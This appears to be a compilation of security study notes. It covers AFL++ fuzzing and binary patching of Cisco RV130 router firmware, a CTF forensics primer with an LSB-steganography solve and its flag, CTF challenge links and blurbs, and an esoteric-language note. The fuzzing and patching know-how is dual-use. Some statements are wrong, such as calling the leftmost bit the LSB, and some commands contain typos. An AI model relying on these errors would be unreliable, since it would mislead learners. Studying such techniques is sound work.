+ +HexRays supports not only type modification of local variables, but also parameter types, function prototypes, global variable types, and so on. In fact, HexRays supports not only these simple types, but also C types such as structures and enumerations. Press Shift+F1 key combination to bring up the Local Types window, from which you can manipulate various types of C: press Insert, or right-click to bring up the Add Type dialog box, see Figure 5-2-17, from which you can enter a type that conforms to the simple syntax of C, and then IDA will parse and store the type. In addition, press Ctrl+F9 key combination or select "File→Load File→Parse C header file" menu command, you can load the C language header file.
+ +After adding custom types, HexRays will automatically perform the corresponding parsing operations according to the types when setting variable types, such as displaying access to structures, displaying enumerations, etc.
+Various cases of type recognition errors may occur during the reverse process, and we need to use our experience in C programming to set variables such as structures, normal pointers, structure pointers, and integers correctly.
+In general, HexRays can increase the length of a variable by force (e.g., char[28] as mentioned above), but when changing a long variable to a short one, the alarm will often be "Sorry, can not change variable type" (e.g., change char[28] above to char[27]), so you need to be careful when changing a long variable to a shorter one. If you inadvertently modify the error, you can delete the function and then define the function to reset the various information of the function
+6. Complete the analysis
+After fine-tuning the pseudo-code to a level suitable for your reading, you can start the analysis. Obviously, this program implements the imitation projection cipher, and the method of finding the inverse is very simple, so I will not repeat it, and ask the reader to complete the decryption by himself.
+ + + + + + + + +AFL lives at https://lcamtuf.coredump.cx/afl/. It hasn't been updated in a while. While AFL still works fine, there's a new project AFL++, a fork of AFL with lots of improvements and new features. AFL++ can be found at https://aflplus.plus/ with its source on GitHub. This article will look at using AFL++ to fuzz IoT binaries.
+Fuzzing works best when we have the source code of the binary in question. Unfortunately for IoT binaries, this is often not the case. AFL++ (and AFL) ships with a companion tool (afl-gcc, afl-clang, etc) that works as a drop-in replacement to gcc, clang, or any other standard build tool. The tool is used to inject instrumentation in the generated binaries while compiling the source code. The instrumented binaries can then be fuzzed using afl-fuzz.
+Fuzzing closed-source applications is tricky. For fuzzing such binaries, AFL++ can use Qemu, unicorn, or Frida and are named qemu mode, unicorn mode, and Frida mode respectively. These are binary-only instrumentation modes and are not as efficient as the source code instrumentation modes. We will be using Qemu mode in this article.
+In Qemu mode, AFL++ uses qemu user mode emulation to run the binary. It uses a modified version of Qemu which instruments the basic blocks as the program executes. The instrumentation information thus generated is used to generate new test cases which trigger different code paths improving code coverage. AFL++ in qemu mode can also be used to instrument foreign arch binaries (like an arm binary on an x86_64 host). This is extremely useful for fuzzing IoT firmware binaries which are usually of ARM or MIPS architecture.
+An important point to note is that AFL++ and similar fuzzers (AFL, hongfuzz, radamsa[test case generator only]) only work with file inputs That is the program must only receive the fuzzed input from a file. Programs that take in input from a socket are not supported.
+For fuzzing socket-based programs we can take either of the following approaches:
+AFL++ can be compiled on any Linux system. Here we are using an Ubuntu 20.04 LXD container. The steps are as follows:
+$ sudo apt update
+$ sudo apt install git make build-essential clang ninja-build pkg-config libglib2.0-dev libpixman-1-dev
+$ git clone https://github.com/AFLplusplus/AFLplusplus
+$ cd AFLplusplus/
+$ make all
+$ cd qemu_mode
+$ CPU_TARGET=arm ./build_qemu_support.sh
+
+We will be using a firmware for the Cisco RV130 VPN router which can be downloaded from https://software.cisco.com/download/home/285026141/type/282465789/release/1.0.3.55?i=!pp. The file is named RV130X_FW_1.0.3.55.bin
+After extracting the binary using binwalk the extracted file system looks like
+Extracted filesystem of Cisco RV130X firmware binary
+We will be looking at fuzzing the jsonparse and xmlparser1 binary in /usr/sbin/. These programs accept input from a file and are ideal for fuzzing. We don’t have the source available so we have to use Qemu mode.
+ +Before fuzzing we need to know how the program accepts input. Running xmlparser1 with qemu-arm-static with the –help parameter shows the usage. It accepts a filename with the -f parameter. The -d parameter stands for debugging.
+ +We can create a test XML file and run xmlparser1.
+ +xmlparser1 displays the parsed contents of the test.xml file. We may now proceed to fuzz. To run the fuzzer we need to give an input file that the fuzzer will use to generate further test cases. We will specify test.xml as our input file.
+Create two directories input-xml and output-xml and move the test.xml file to input-xml as shown.
+ +We can now launch afl-fuzz
+ +$ QEMU_LD_PREFIX=./squashfs-root/ ../AFLplusplus/afl-fuzz \
+ -Q \
+ -i input-xml/ \
+ -o output-xml/ \
+ -- ./squashfs-root/usr/sbin/xmlparser1 -f @@
+
+The options are explained below:
+Everything after the double hyphen (--) specifies the target program to run along with its arguments. The @@ parameter stands for the filename. At runtime, AFL++ will replace the @@ parameter with the name of the input file.
+The fuzzing session starts as shown below. We can press Ctrl+C anytime to exit.
+ +In our brief test, AFL++ wasn’t able to crash the application.
+Jsonparse is a similar binary but it parses JSON files instead of XML. Running the program without any arguments displays its usage.
+ +We can create a test JSON file and run jsonparser on it.
+ +We can use the same test.json file as input to the fuzzer. In a similar way, create two directories named input-json and output-json with test.json in directory input-json.
+ +We can run the fuzzer as shown:
+ +$ QEMU_LD_PREFIX=./squashfs-root/ ../AFLplusplus/afl-fuzz \
+ -Q \
+ -i input-json / \
+ -o output-json / \
+ -- ./squashfs-root/usr/sbin/jsonparser @
+
+After fuzzing for a couple of minutes, there are two unique crashes already.
+ +Let’s explore the output-json directory to have a look at the files which crashed jsonparser.
+ +The two files which triggered the crashes are in the output-json/default/crashes directory.
+ + +To cross-check, we can run jsonparser with one of the generated files.
+ +Jsonparser indeed crashes with a segfault. From here on, the next steps are to identify the root cause of the bug and check if it's exploitable. Not all crashes are exploitable. Triaging the crash is out of the scope of this post.
+In this post, we will be looking at socketed binaries. Fuzzing binaries that communicate over the network using sockets are different from fuzzing binaries that use file-based I/O. Vanilla AFL and AFL++ don’t support fuzzing socketed binaries although there have been projects such as AFLNet and AFLNW which use modified versions of AFL for the same. Here, however, we will see how to use plain AFL++ to fuzz network programs. The httpd
binary at /usr/sbin/httpd
is the web server for the firmware and can be used as a candidate for fuzzing.
We can launch httpd
with sudo
as shown. Sudo is needed to bind on port 80.
Note that qemu is started from within the www/
directory as this is where the web resources (html, css, js files) are. Although it shows a bind error, running netstat
confirms that httpd
is indeed listening on port 80.
We can open http://127.0.0.1 to cross-check that the web interface is accessible.
+ +The web interface can also be accessed using curl
.
Using an intercepting proxy such as Burp Suite, we can view the actual HTTP requests that are being sent. Trying to log in to the dashboard with the credentials admin:123456
results in a POST request as shown.
In the image above we are running the webserver over port 8080 (rather than 80) by appending -p 8080
to the qemu command line.
From here on, the idea is to modify this base request using the fuzzer in subtle ways such that it crashes the web server.
+The naive way is to send actual requests over the network. However, this would be slow. The smarter and recommended way is to make the webserver read the HTTP request data from a file. We will look at both ways.
+Radamsa is not a fuzzer. It's a test case generator that reads in a file and modifies it in subtle ways. How to use the modified output is up to us. Here we will send the output from the file to the running web server.
+# fuzz-radamsa.py
+import socket
+import pyradamsa
+
+base_login_request = open("base-login-request.txt", "rb").read()
+
+rad = pyradamsa.Radamsa()
+i = j = 0
+
+while True:
+ # Create a modified request based on the base request
+ fuzzed_request = rad.fuzz(base_login_request)
+
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+ # 1 second timeout
+ sock.settimeout(1)
+
+ sock.connect(("127.0.0.1", 8080))
+
+ j += 1
+ print(f"[+] Request {j} - ", end="")
+
+ sock.sendall(fuzzed_request)
+ try:
+ sock.recv(50000)
+ print("OK")
+ except Exception as ex:
+ i += 1
+ open(f"interesting/{i}.txt", "wb").write(fuzzed_request)
+ print(f" {ex} -> saved to {i}.txt")
+ sock.close()
+
+The code above uses Radamsa to generate modified request data using the base login request. This data is then sent over the socket to the web server running at port 8080. If the server doesn’t respond within 1 second, the input is saved to a file in the interesting directory.
+We can run the fuzzer as shown.
+ +Request 3 timed out while responding and the corresponding input was saved to 1.txt. Note that a timeout is not the same as a crash. Had the server crashed on request 3, further requests wouldn’t be successful. Fuzzing this way is highly inefficient, slow, and error-prone and would often lead to false positives.
+As discussed before, to fuzz with AFL, the program must accept input from a file. We do not have the source code of httpd which we can modify for our purpose. Hence we have to resort to binary-level modifications, such as patching the assembly instructions and LD_PRELOAD
tricks. Using the latter we can override network functions in libc
to make them accept input from a file instead. The desockmulti project on GitHub can be used for this purpose.
Before showing how to use desockmulti, we need to make a few modifications of our own. The httpd
binary currently forks to the background using the daemon
function. We do not want this forking behavior during fuzzing.
We need to override the daemon
such that it returns 0 without forking actually. This can be done both with LD_PRELOAD or by patching the assembly instructions.
The other change that we need to make is to have httpd process exactly 1 request (unlike a typical web server that processes requests indefinitely) before quitting. This way we can know which request, if any, crashes the web server.
+To close a socket, httpd
calls the close
function. There are three locations from where close is called.
Among them, we need to modify the one at 231c0
to call exit(0)
instead of close
.
To patch the instructions we will use Cutter which is a GUI for radare2. Ghidra also supports patching binaries but Cutter is better suited for this use case.
+Navigating to 0x231c0
in Cutter, we come across the following disassembly.
Double-clicking on close
takes us to 0x106b4
.
The exit
function is located at 0x10b64
.
We can thus change bl close
to bl 0x10b64
to call the exit
function instead.
The instruction immediately before can be changed from mov r0, sl
to eor r0, r0
which sets register r0
to 0
to give us the following disassembly.
The net effect is that it calls exit(0)
. The other change we need to do is patch out the daemon
call at 0x22CB4
.
We can change the instruction to eor r0, r0
to make the application believe the call succeeded.
Finally, with the changes in place go to File -> Commit changes to save the modifications. Let's rename the file to httpd_patched.
+Running httpd_patched we can see that it doesn’t fork to the background.
+ +Additionally, it quits after processing a single request as shown below.
+ +We need to use an ARM cross-compiler to compile desockmulti. The armv7-eabihf-uclibc toolchain from bootlin works great for this purpose. We need to use a uclibc-based toolchain as the firmware binaries also use the same. Running the file command on /usr/bin/httpd points out the binary is dynamically linked to ld-uClibc.
+$ file usr/sbin/httpd
+usr/sbin/httpd: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
+
+Before compiling desockmulti, we have to make a tiny change to its source.
+$ git diff
+diff --git a/desockmulti.c b/desockmulti.c
+index 719e6ac..6bcc223 100644
+--- a/desockmulti.c
++++ b/desockmulti.c
+@@ -450,7 +450,7 @@ int socket(int domain, int type, int protocol)
+ pthread_mutex_unlock(&mutex);
+ }
+
+- setup_timer();
++ //setup_timer();
+
+ if ((fd = original_socket(AF_UNIX, SOCK_STREAM, 0)) < 0) {
+ perror("socket error");
+
+In desockmulti.c there’s a call to a setup_timer
function that needs to be commented out as shown in the diff above.
We can then run make specifying the path to the arm-linux-gcc compiler in the CC
environment variable.
$ make CC=~/armv7-eabihf--uclibc--stable-2020.08-1/bin/arm-linux-gcc
+
+The generated file desockmulti.so can be copied to the squashfs-root directory.
+To test that desockmulti is indeed working as expected we can debug httpd with gdb-multiarch. First, we need to add a dependency to the library libpthread.so.0 using patchelf. Patchelf can be installed using apt. This is necessary as desockmulti uses threads while httpd doesn’t link to libpthread by default.
+$ patchelf --add-needed ./lib/libpthread.so.0 ./usr/sbin/httpd_patched
+
+In terminal 1, run the binary in qemu specifying the -g parameter.
+ubuntu@binwalk:~/cisco/_RV130X_FW_1.0.3.55.bin.extracted/squashfs-root/www$ sudo qemu-arm-static -g 5555 -L .. -E USE_RAW_FORMAT=1 -E LD_PRELOAD=../desockmulti.so ../usr/sbin/httpd_patched
+-p 8080 < ../../base-login-request.txt
+
+The path to desockmulti.so is specified in the LD_PRELOAD
environment variable. The other variable USE_RAW_FORMAT
is specific to desockmulti.
In another terminal, we can start gdb-multiarch, set a breakpoint on fprintf
, and attach it to port 5555.
$ gdb-multiarch -q ./usr/sbin/httpd
+GEF for linux ready, type `gef' to start, `gef config' to configure
+95 commands loaded for GDB 9.2 using Python engine 3.8
+[*] 1 command could not be loaded, run `gef missing` to know why.
+Reading symbols from ./usr/sbin/httpd...
+(No debugging symbols found in ./usr/sbin/httpd)
+gef➤ b fprintf
+Breakpoint 1 at 0x10a38
+gef➤ target remote :5555
+…
+gef➤ c
+
+When the breakpoint on fprintf
hits we can press c and continue for a couple of times to finally inspect the contents of the register r2
.
0xfffe5fa8│+0x0018: 0x30303220 → 0x30303220
+0xfffe5fac│+0x001c: 0x0d6b4f20 → 0x0d6b4f20
+─────────────────────────────────────── code:arm:ARM ────
+ 0xff4eb7b8 <fprintf+4> push {lr} ; (str lr, [sp, #-4]!)
+ 0xff4eb7bc <fprintf+8> add r2, sp, #8
+ 0xff4eb7c0 <fprintf+12> ldr r1, [sp, #4]
+ → 0xff4eb7c4 <fprintf+16> bl 0xff4ee024 <vfprintf>
+ ↳ 0xff4ee024 <vfprintf+0> push {r4, r5, r6, r7, r8, lr}
+ 0xff4ee028 <vfprintf+4> mov r5, r0
+ 0xff4ee02c <vfprintf+8> ldr r6, [r0, #76] ; 0x4c
+ 0xff4ee030 <vfprintf+12> ldr r12, [pc, #144] ; 0xff4ee0c8 <vfprintf+164>
+ 0xff4ee034 <vfprintf+16> cmp r6, #0
+ 0xff4ee038 <vfprintf+20> add r12, pc, r12
+──────────────────────────────────── arguments (guessed) ────
+vfprintf (
+ $r0 = 0x000be3c0 → 0xff006085 → 0xff006085,
+ $r1 = 0x00093f5c → 0x00007325 → 0x00007325,
+ $r2 = 0xfffe5f98 → 0xfffe5fa0 → 0x50545448 → 0x50545448,
+ $r3 = 0x000006c8 → 0x000006c8
+)
+────────────────────────────────────────────── threads ────
+[#0] Id 1, stopped 0xff4eb7c4 in fprintf (), reason: BREAKPOINT
+───────────────────────────────────────────── trace ────
+[#0] 0xff4eb7c4 → fprintf()
+[#1] 0x1dd5c → add sp, sp, #1004 ; 0x3ec
+───────────────────────────────────────────────────────────
+gef➤ x/s *$r2
+0xfffe5fa0: "HTTP/1.1 200 Ok\r\n"
+
+R2 points to a readable string "HTTP/1.1 200 Ok\r\n" which is the first line of a typical HTTP response. This indicates that desockmulti is working. We are not able to see the HTTP response on-screen but nevertheless, it's working as intended.
+At this point we can start fuzzing httpd_patched however, we can further make quality-of-life improvements. For example, the binary requires root to run. It prints the following error message if started without root.
+ubuntu@binwalk:~/cisco/_RV130X_FW_1.0.3.55.bin.extracted/squashfs-root/www$ qemu-arm-static -L .. -E USE_RAW_FORMAT=1 -E LD_PRELOAD=../desockmulti.so ../usr/sbin/httpd_patched -p 8080 < ../../base-login-request.txt
+===>HTTPD : scheduler set RR with proirity = 99 FAILED
+--- [1640588459:322474] accept_num=1, connect_num=0
+--- [1640588459:323006] Get pkt, sockindex=0, length=943, pkt[0]=80
++++ [1640588459:323333] Intercepted socket()! original type=AF_INET6 fd=4
+--- [1640588459:323785] preeny socket bound, Emulating bind on port 8080
+--- [1640588459:324011] preeny listen called, accepting connections ...
+--- [1640588459:324223] preeny connect_write for serverfd=4 started
+--- [1640588459:324466] preeny connect succeeds, write for serverfd=4, client sock index=0
+--- [1640588459:324778] preeny write a 943 bytes packet, client socket index = 0, client sockfd=5
+--- [1640588459:325074] preeny connection for serverfd=4 client sockfd=5 shutdown
+--- [1640588459:325151] pthread_created or directly called for preeny_connect_write, accept_done_num 1, selected_fd_index 0
++++ [1640588459:325246] Intercepted socket()! original type=AF_INET6 fd=6
+--- [1640588459:325334] preeny socket bound, Emulating bind on port 8080
+--- [1640588459:325393] preeny listen called, accepting connections ...
++++ [1640588459:325488] Intercepted socket()! original type=AF_INET fd=7
+--- [1640588459:325725] preeny socket bound, Emulating bind on port 8080
+--- [1640588459:325747] preeny listen called, accepting connections ...
++++ [1640588459:325976] Intercepted socket()! original type=AF_INET fd=8
+--- [1640588459:326095] preeny socket bound, Emulating bind on port 81
+--- [1640588459:326118] preeny listen called, accepting connections ...
++++ [1640588459:326480] Intercepted socket()! original type=AF_INET6 fd=9
+--- [1640588459:329767] preeny socket bound, Emulating bind on port 81
+--- [1640588459:329820] preeny listen called, accepting connections ...
+/var/run/httpd.pid: Permission denied
++++ [1640588459:330676] shutting down desockmulti...
++++ [1640588459:330844] ... shutdown complete!
+
+It fails on trying to access /var/run/httpd.pid. We can patch the binary and change the path to something which doesn’t require root privilege to access. This can be done using a hex editor and also with Cutter.
+ +We can change /var/run/httpd.pid to /home/ubuntu/h.pid and save. The new path is located under the home directory and can be accessed without root. It’s also important to note the length of the replacement string must be less than or equal to the original.
+ +Rerunning httpd_patched we can see it doesn’t show the permission denied error anymore.
+ubuntu@binwalk:~/cisco/_RV130X_FW_1.0.3.55.bin.extracted/squashfs-root/www$ qemu-arm-static -L .. -E USE_RAW_FORMAT=1 -E LD_PRELOAD=../desockmulti.so ../usr/sbin/httpd_patched -p 8080 < ../../base-login-request.txt
+===>HTTPD : scheduler set RR with proirity = 99 FAILED
+--- [1640594090:533269] accept_num=1, connect_num=0
+--- [1640594090:533738] Get pkt, sockindex=0, length=943, pkt[0]=80
++++ [1640594090:533930] Intercepted socket()! original type=AF_INET6 fd=4
+--- [1640594090:534277] preeny socket bound, Emulating bind on port 8080
+--- [1640594090:534400] preeny listen called, accepting connections ...
+--- [1640594090:534562] preeny connect_write for serverfd=4 started
+--- [1640594090:534704] preeny connect succeeds, write for serverfd=4, client sock index=0
+--- [1640594090:534880] preeny write a 943 bytes packet, client socket index = 0, client sockfd=5
+--- [1640594090:535045] preeny connection for serverfd=4 client sockfd=5 shutdown
+--- [1640594090:535144] pthread_created or directly called for preeny_connect_write, accept_done_num 1, selected_fd_index 0
++++ [1640594090:535228] Intercepted socket()! original type=AF_INET6 fd=6
+--- [1640594090:535283] preeny socket bound, Emulating bind on port 8080
+--- [1640594090:535316] preeny listen called, accepting connections ...
++++ [1640594090:535359] Intercepted socket()! original type=AF_INET fd=7
+--- [1640594090:535389] preeny socket bound, Emulating bind on port 8080
+--- [1640594090:535404] preeny listen called, accepting connections ...
++++ [1640594090:535432] Intercepted socket()! original type=AF_INET fd=8
+--- [1640594090:535478] preeny socket bound, Emulating bind on port 81
+--- [1640594090:535511] preeny listen called, accepting connections ...
++++ [1640594090:535559] Intercepted socket()! original type=AF_INET6 fd=9
+--- [1640594090:535601] preeny socket bound, Emulating bind on port 81
+--- [1640594090:535632] preeny listen called, accepting connections ...
+--- [1640594090:537111] Accept socket at serverfd=4, got fd=10, accept_sock_num=1.
++++ [1640594090:550073] shutting down desockmulti...
++++ [1640594090:550229] ... shutdown complete!
+
+Additionally, the file h.pid is created within the user's home directory.
+$ ls -la /home/ubuntu/h.pid
+-rw-rw-r-- 1 ubuntu ubuntu 4 Dec 27 08:34 /home/ubuntu/h.pid
+
+We can now finally proceed to fuzz the patched httpd binary. We need to create two directories: input-httpd and output-httpd. The former will contain the file base-login-request.txt which AFL++ will use to generate further test cases.
+ubuntu@fuzz:~/_RV130X_FW_1.0.3.55.bin.extracted/squashfs-root/www$ QEMU_LD_PREFIX=.. QEMU_SET_ENV=USE_RAW_FORMAT=1,LD_PRELOAD=../desockmulti.so ../../../AFLplusplus/afl-fuzz -Q -i ../../input-httpd/ -o ../../output-httpd/ -- ../usr/sbin/httpd_patched -p 8080
+
+
+We can leave the fuzzer as is to continue fuzzing. To quit press Ctrl+C anytime. In our brief test, AFL++ wasn’t able to crash the application.
+With this, we come to the end of the two-part AFL fuzzing series. In the first part, we saw how to fuzz simple binaries which accepted input from a file. They required no modifications and were straightforward to fuzz. In this part, we learned how to convert a socketed binary to accept input from a file instead. This required patching the binary on an assembly level and using LD_PRELOAD further to override libc functions. We also saw how to use radamsa to generate test cases as a crude way to fuzz. There is no universal technique that can be applied as-is to fuzz any given closed IoT firmware binary. It will vary on a case-by-case basis but the idea is similar. For any comments, questions or suggestions feel free to leave a comment below.
+Barun (2022) Fuzzing IOT binaries with AFL++ - part I, Attify Blog - IoT Security, Pentesting and Exploitation. Attify Blog - IoT Security, Pentesting and Exploitation. Available at: https://blog.attify.com/fuzzing-iot-devices-part-1/ (Accessed: October 31, 2022).
+Barun (2022) Fuzzing IOT binaries with AFL++ - part II, Attify Blog - IoT Security, Pentesting and Exploitation. Attify Blog - IoT Security, Pentesting and Exploitation. Available at: https://blog.attify.com/fuzzing-iot-binaries-with-afl-part-ii/ (Accessed: October 31, 2022).
+Give me some number:
+http://116.7.234.225/files/7a4de0b926cda8e43285c4373b68cd23/liar
+Give me some string with lowercase letter and number
+http://116.7.234.225/files/5fbc944afb51241104f3b95605de2436/ezreverse
+Hook the binary
+http://116.7.234.225/files/ffdaed751038587f1ea6a9c9552b0452/LuckyGuess
+ + + + + + + + +++ +bi0s wiki: https://teambi0s.gitlab.io/bi0s-wiki/
+
Cyber Forensics is a science that deals with techniques used to track the footprints left behind by a cyber attack. Cyber forensics is directly linked to any cybercrime which has data loss and recovery. Some examples include investigation on possible forged digital signatures, the authenticity of images, analysis of malicious software, etc.
+Quote
+Cyber Forensics is a science that deals with techniques used to track the footprints left behind by a cyber attack.
+Let us go into more detail about the definition from a CTF perspective. Any Capture The Flag contest usually has three prime categories of digital forensics. They are:
+ +When we talk about employment, research, or anything, Cyber Forensics is one of the prime areas which comes into a security analyst's mind. Forensics is strongly employed in Incident Response, Malware Analysis, and Data leak protection. To sum it up, every cybercrime is always related to cyber forensics.
+To understand this, let us look into a very dangerous virus attack that almost started world war III. Stuxnet was a virus that was found lurking in the systems which controlled nuclear centrifuges in Iran. Stuxnet had a stolen yet officially authorized digital signature which acted as a very good camouflage. Stuxnet made the windows systems constantly reboot or lead them to Blue Screen of Death. Stuxnet could easily affect any computer which was linked to the network. It was really difficult for security experts to trace it. It severely affected the SCADA systems which were employed in maintaining the rotation speed of the centrifuges. After heavy investigation, when several forensic analysts looked into the SCADA network transfer, they found a malicious program being run that altered the system processes. The main aspect which made Stuxnet almost invisible was that it became active only when its target was present or being run. Until then the virus remained dormant. So as you can see, Cyber forensics played a huge role in the detection of the virus.
+Let us look at the trend of cyber-attacks based on the analysis from January 2017-2018:
+Some handy definitions:
+Cyber crimes are at 77% in 2017
+Now let us look at January 2018:
+So as you can see, the percentage has increased at an alarming rate.
+So, folks, I hope you understand just how important cyber forensics is in the current world of cybersecurity.
+To keep it very simple and straight, Image Forensics is a specific branch of cyber forensics that deals with various numbers of attacks.
+Some of them include:
+So let us look into some of the very basic definitions of the technical terms used in this field to better understand the upcoming topics.
+A typical file signature is something that defines the nature of a file and also tells us about the specific features of the particular file. This is also called the file header or sometimes the checksum.
+So let us look at some examples:
+The 'hex' values shown are also called magic numbers.
+Chunks are nothing but fragments of information used by different multimedia formats like PNG, MP3, etc. Each chunk has its header. The header usually describes the type and size of the chunk.
+ +How important are chunks ?
+So let us consider that you are trying to open an image using an MP3 player. Will the player open the image? No, right. It'll give me an error message. Every application has a decoder that checks the type of chunks given. When it recognizes that the given chunks are supported, it tries to give the desired output. So whenever it comes across chunks of unknown format, it triggers an error message stating "Unsupported File Format"
+The checksum is an integer value that represents the sum of correct digits in a piece of data. Checksums help us to check the data integrity of a file that is transmitted across the digital network. There are many checksum algorithms. Checksum algorithms are employed in various cybersecurity concepts like fingerprinting, cryptographic hash functions, etc.
+The name itself tells that there will be no loss of information when a set of data is compressed. the lossless compression technique is used for reducing the data size for storage. For example, png is a lossless compression and the advantage of a lossless compression file format is that there is no loss of quality each time it is opened or saved.
+In lossy compression, it involves loss of information from the original file when data is compressed. Lossy compression can result in a smaller size of the file but it also removes some original pixels, video frames, and sound waves forever. For example, JPEG is a lossy compression and the disadvantage is that each time the image is saved it loses some amount of data and which simultaneously degrades the image quality.
+Image metadata is a piece of text information that gives information about the details associated with the image. Some of these details are + Size and resolution + The author of the image + The GPS data of this image + The time when the image was taken, the last modification, etc.
+So now let us look at the file format of a PNG image:
+A PNG is a graphical file format of an image that supports lossless compression.
+Magic Number -> 89 50 4E 47 0D 0A 1A 0A
+So now let us look at the critical chunks of a PNG image:
+IHDR -> Describes image dimensions, color type, bit depth, etc. It must be noted that this must be the first chunk (always).
+PLTE -> Contains the list of colors.
+IDAT -> Contains the image data.
+IEND -> Marks the end of the image.
+Ancillary chunks can be otherwise called optional chunks. These are the chunks that are generally ignored by decoders. Let us look at some examples:
+bKGD -> Gives the default background color.
+dSIG -> This chunk is used to store the digital signature of the image.
+pHYS -> Holds the pixel size and the ratio of dimensions of the image.
+All the ancillary chunks start with a small letter.
+The ELF file format is a standard file format for executables, object codes, core dumps, etc. for any UNIX-based system.
+Magic Number -> 7F 45 4c 46
+The file header of an ELF file defines whether to use 32-bit or 64-bit addresses. ELF files are generally analyzed using a tool called readelf.
+Zip is a file format that supports lossless data compression. This file format achieves the compression of a file(s) using several compression algorithms. DEFLATE is the most used compression algorithm. Zip files have the file extension .zip or .ZIP.
+Magic Number -> 50 4B 03 04 and 50 4B 05 06(for empty zip files)
+ +Zip files can be extracted using this command in the terminal.
+$ unzip file_name.zip
+
+What is LSB ?
+LSB, the least significant bit is the lowest in a series of numbers in binary; which is located at the far right of a string. For example, in the binary number: 10111001, the least significant bit is the far right 1.
+As binary numbers are largely used in computing and other related areas, wherein the least significant bit holds importance, especially when it comes to the transmission of binary numbers.
+Digital data is computed in binary format, where the rightmost digit is considered the lowest digit whereas the leftmost is considered the highest digit. In positional notation, the least significant bit is also known as the rightmost bit. It is the opposite of the most significant bit, which carries the highest value in a multiple-bit binary number as well as the number which is farthest to the right. In a multi-bit binary number, the significance of a bit decreases as it approaches the least significant bit. Since it is binary, the most significant bit can be either 1 or 0. The least significant bit is frequently employed in hash functions, checksums, and pseudorandom number generators.
+When transmission of binary data is being done, the least significant bit is the one that is transmitted first, followed by other bits of increasing significance.
+The number of image pixels in a PNG file is generally composed of RGB three primary colors (red, green, and blue). Each color occupies 8 bits, and the value ranges from 0x00 to 0xFF, that is, there are 256 colors, which contain a total of 256 to the third power. Thus there are 16777216 colors in total.
+The human eye can distinguish about 10 million different colors, which means that the human eye can't distinguish the remaining 6 million colors. LSB steganography is to modify the lowest binary bit (LSB) of RGB color components, each color will have 8 bits, LSB steganography is to modify the lowest bit in the number of pixels, and human eyes will not notice before and after this change, each pixel can carry 3 bits of information.
+Description:
+Can you help me find the data in this Little-School-Bus?
+Hint:
+Look at least a significant bit of encoding!!
+As the Hint suggests the problem is related to LSB Encoding, The leftmost digit in binary is called the LSB digit
+As mentioned earlier LSB encoding is done by changing the LSB bit of the color, however, this slight variation is not noticeable. Thus by changing the LSB bit, we can hide data inside a file.
+xxd -b ./littleschoolbus.bmp | head -n 20
+
+Gives,
+00000000: 01000010 01001101 11100010 01001011 00000010 00000000 BM.K...
+00000006: 00000000 00000000 00000000 00000000 00110110 00000000 ....6.
+0000000c: 00000000 00000000 00101000 00000000 00000000 00000000 ..(...
+00000012: 11111100 00000000 00000000 00000000 11000111 00000000 ......
+00000018: 00000000 00000000 00000001 00000000 00011000 00000000 ......
+0000001e: 00000000 00000000 00000000 00000000 10101100 01001011 .....K
+00000024: 00000010 00000000 00000000 00000000 00000000 00000000 ......
+0000002a: 00000000 00000000 00000000 00000000 00000000 00000000 ......
+00000030: 00000000 00000000 00000000 00000000 00000000 00000000 ......
+00000036: 11111110 11111111 11111111 11111110 11111110 11111111 ......
+0000003c: 11111111 11111110 11111110 11111111 11111111 11111110 ......
+00000042: 11111111 11111111 11111110 11111110 11111110 11111111 ......
+00000048: 11111111 11111110 11111110 11111110 11111110 11111111 ......
+0000004e: 11111110 11111111 11111111 11111110 11111110 11111111 ......
+00000054: 11111111 11111111 11111110 11111111 11111111 11111111 ......
+0000005a: 11111111 11111110 11111111 11111111 11111110 11111111 ......
+00000060: 11111111 11111111 11111110 11111110 11111111 11111110 ......
+00000066: 11111110 11111111 11111111 11111110 11111110 11111111 ......
+0000006c: 11111110 11111111 11111110 11111111 11111111 11111110 ......
+00000072: 11111111 11111111 11111110 11111111 11111110 11111111 ......
+
+Taking the LSB bit after the many zeros,
+00000036: 11111110 11111111 11111111 11111110 11111110 11111111 ......
+0000003c: 11111111 11111110 11111110 11111111 11111111 11111110 ......
+00000042: 11111111 11111111 11111110 11111110 11111110 11111111 ......
+00000048: 11111111 11111110 11111110 11111110 11111110 11111111 ......
+
+8 bit gives
+01100110 01101100
+
+Which in ASCII is fl
?
Now we script,
+binary_data = open("littleschoolbus.bmp","rb") # Open the file binary mode
+binary_data.seek(54) #seek to 54 bytes these bytes do not contain any data
+data = binary_data.read() # read the binary data
+l = []
+for i in data:
+ l.append(bin(i)[-1]) #make a list of LSB bit
+for i in range(0,500,8):
+ print(chr(int(''.join(l[i:i+8]),2)),end='') # print the character
+
+Which gives the flag !!
+flag{remember_kids_protect_your_headers_afb3}
+Let's play with some real CTF challenges!
+++Buckeye CTF 2022
+
Author: matthewa26
+I definitely made a Git repo, but I somehow broke it. Something about not getting a HEAD of myself.
+Downloads: what-you-see-is-what-you-git
+Author: gsemaj
+Something about this audio is pretty sus...
+Hint: The crackling in the audio should tell you that something's wrong.
+Downloads: sus.wav
+Author: v0rtex
+I found a PCAP of some Bluetooth packets being sent on this guy's computer. He's sending some pretty weird stuff, you should take a look.
+Flag format: buckeyectf{x}
+Downloads: keyboardwarrior
+ + + + + + + + +++From https://github.com/thezakman/CTF-Heaven
+By TheZakMan | March 12st, 2021
+Contents are modified with details
+
An online tool that has a ton of Esoteric language interpreters.
+Some of the languages are regular programming languages, but some of them are esoteric.
+This language is easily detectable by its huge use of plus signs, braces, and arrows. There are plenty of online interpreters, like this one: https://copy.sh/brainfuck/ Some example code:
+++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++++++++++++++.--.--------------.+++++++++++++.----.-----------
+--.++++++++++++.--------.<------------.<++.>>----.+.<+++++++++++.+++++++++++++.>+++++++++++++++++.-------------
+--.++++.+++++++++++++++.<<.>>-------.<+++++++++++++++.>+++..++++.--------.+++.<+++.<++++++++++++++++++++++++++
+.<++++++++++++++++++++++.>++++++++++++++..>+.----.>------.+++++++.--------.<+++.>++++++++++++..-------.++.
+
+The language consists of eight commands, listed below. A brainfuck program is a sequence of these commands, possibly interspersed with other characters (which are ignored). The commands are executed sequentially, with some exceptions: an instruction pointer begins at the first command, and each command it points to is executed, after which it normally moves forward to the next command. The program terminates when the instruction pointer moves past the last command.
